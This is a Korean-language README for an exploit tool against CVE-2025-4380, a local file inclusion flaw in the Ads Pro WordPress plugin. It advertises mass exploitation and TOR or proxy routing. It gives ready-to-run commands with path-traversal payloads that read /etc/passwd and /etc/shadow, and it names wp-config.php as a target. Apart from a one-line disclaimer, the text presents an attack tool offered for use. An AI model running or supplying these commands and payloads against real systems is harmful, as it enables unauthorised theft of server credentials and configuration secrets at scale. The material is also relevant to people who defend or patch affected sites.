CVE-2025-4380 - Ads Pro Plugin <= 4.89 - 로컬 파일 포함 (LFI) 익스플로잇

설명

이 Python 익스플로잇은 Ads Pro Plugin ≤ 4.89 (WordPress)를 대상으로 하며, bsa_preview_callback AJAX 액션을 통해 로컬 파일 포함(LFI) 취약점에 노출됩니다.

인증되지 않은 공격자는 이를 악용하여 /etc/passwd, wp-config.php 등 민감한 파일을 포함한 서버 파일 시스템의 임의 파일을 읽을 수 있습니다.

익스플로잇 특징

• CVE-2025-4380 LFI 취약점을 악용합니다.
• 단일 대상 또는 대량 익스플로잇을 지원합니다.
• 결과를 파일로 저장할 수 있습니다 (선택 사항).
• HTTP 프록시 또는 TOR 라우팅을 지원합니다.
• 안정적인 재시도 메커니즘을 제공합니다.

사용법

단일 대상

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd

다중 대상 (대량 스캔)

python3 cve_2025_4380.py -l targets.txt -p ../../../../etc/shadow

출력을 파일로 저장

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd -o output.txt

프록시 사용 (예: Burp, TOR)

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd --proxy http://127.0.0.1:8080

매개변수

예제

Burpsuite 요청/응답

취약점 참고

• CVE-2025-4380

• Ads Pro Plugin <= 4.89 - bsa_preview_callback의 bsa_template를 통한 로컬 파일 포함

⚠️ 면책 조항

이 익스플로잇은 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.

공식 채널

• YouTube @rootctf
• X @r0otk3r